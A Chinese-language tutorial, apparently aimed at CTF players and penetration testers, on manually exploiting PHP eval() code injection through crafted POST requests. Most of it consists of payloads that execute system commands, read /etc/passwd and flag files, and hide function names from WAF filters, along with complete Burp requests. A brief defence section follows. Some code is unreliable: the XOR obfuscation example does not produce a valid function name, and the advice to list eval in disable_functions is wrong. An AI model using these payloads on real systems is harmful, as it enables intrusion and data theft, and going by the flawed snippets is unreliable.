PHP eval() 代码执行漏洞实战:手动构造POST请求的3种高级利用方式
在CTF竞赛和实际渗透测试中,PHP的eval()函数代码执行漏洞是最常见也最具破坏性的漏洞类型之一。本文将带你深入理解eval()漏洞的底层原理,并掌握三种不依赖菜刀等自动化工具的手动利用方法。
1. eval()漏洞的核心原理与手动利用基础
eval()函数是PHP中一个极其危险的函数,它能够将字符串作为PHP代码执行。当开发者不慎将用户可控的输入直接传递给eval()时,就形成了典型的代码注入漏洞。
典型漏洞代码示例:
<?php $code = $_POST['cmd']; eval($code); ?>这种漏洞的利用关键在于构造特殊的POST请求。与使用菜刀等工具不同,手动构造请求能让我们更深入理解漏洞本质,并在工具失效时依然保持攻击能力。
手动利用基本流程:
- 识别存在eval()执行的参数(如
cmd、code等) - 通过Burp Suite或Postman构造POST请求
- 在参数值中注入PHP代码
- 分析服务器响应获取执行结果
提示:在实际测试中,务必先使用phpinfo()等无害函数确认漏洞存在,避免直接执行破坏性命令。
2. 三种高级Payload构造技术
2.1 信息泄露Payload
信息泄露是eval()漏洞最直接的利用方式,通过执行系统命令获取服务器敏感信息。
经典信息泄露Payload:
eval('system("ls -la /");');进阶技巧:
- 使用
scandir()替代system绕过部分过滤 - 组合使用
var_dump()增强可读性:
eval('var_dump(scandir("/var/www/html"));');实际CTF案例: 在BUUCTF [极客大挑战 2019]Knife题目中,使用以下Payload成功获取flag路径:
Syc=var_dump(scandir('/'));2.2 目录遍历与文件读取
获取服务器目录结构后,下一步是读取关键文件内容。
文件读取Payload对比表:
| 方法 | 代码示例 | 适用场景 | 特点 |
|---|---|---|---|
| file_get_contents | eval('echo file_get_contents("/etc/passwd");'); | 读取文本文件 | 简单直接 |
| highlight_file | eval('highlight_file("/var/www/html/index.php");'); | 查看PHP源码 | 带语法高亮 |
| 伪协议 | eval('include("php://filter/convert.base64-encode/resource=config.php");'); | 绕过特殊字符过滤 | 返回base64编码 |
实战技巧:
- 遇到特殊字符时使用base64编码:
eval('echo base64_encode(file_get_contents("/flag"));');- 组合使用目录遍历和文件读取:
eval('$files=scandir(".");foreach($files as $f){echo $f.": ".filesize($f)." bytes\n";}');2.3 绕过过滤的混淆技术
现代WAF通常会检测常见的危险函数,因此需要掌握混淆技术。
三种主流混淆方式:
- 字符串拼接:
eval('$a="s"."y"."s"."t"."e"."m";$a("whoami");');- ASCII码转换:
eval('$f=chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);$f();');- 异或运算:
eval('$a=("!"^"@").("A"^"[").(":"^"@").(">"^"@").(":"^"@").("!"^"_");$a("ls");');混淆技术对比分析:
| 技术类型 | 可读性 | 绕过效果 | 适用场景 |
|---|---|---|---|
| 字符串拼接 | ★★★ | ★★ | 简单过滤 |
| ASCII转换 | ★★ | ★★★ | 中等强度WAF |
| 异或运算 | ★ | ★★★★ | 严格过滤环境 |
3. Burp Suite实战:手动构造完整攻击链
让我们通过一个完整案例演示如何手动利用eval()漏洞。
步骤1:确认漏洞点
POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=phpinfo();步骤2:获取目录列表
POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=var_dump(scandir('/var/www/html'));步骤3:读取关键文件
POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=echo file_get_contents('/var/www/html/flag.php');步骤4:绕过过滤(如需)
POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=$f=chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103);system($f);注意:实际攻击中,建议使用编码后的Payload,并注意特殊字符的URL编码问题。
4. 防御方案与漏洞修复
了解攻击手段后,开发者应采取以下防护措施:
多层防御策略:
- 输入验证:
if(preg_match('/[^a-zA-Z0-9_]/', $input)){ die("Invalid input"); }- 禁用危险函数:
; php.ini配置 disable_functions = eval,exec,system,passthru- 使用安全替代方案:
- 用
call_user_func()替代eval() - 使用安全的模板引擎
安全开发建议:
- 遵循最小权限原则
- 实施代码审计流程
- 使用Web应用防火墙(WAF)
在CTF竞赛中遇到这类题目时,建议按照以下流程操作:
- 确认eval()执行点
- 测试基本命令执行
- 枚举目录结构
- 定位并读取flag文件
- 如遇过滤,尝试各种混淆技术
掌握手动利用技术不仅能帮助你在没有自动化工具的环境中完成任务,更能深入理解Web安全的核心原理。记住,真正的安全专家不仅知道如何攻击,更清楚如何防御。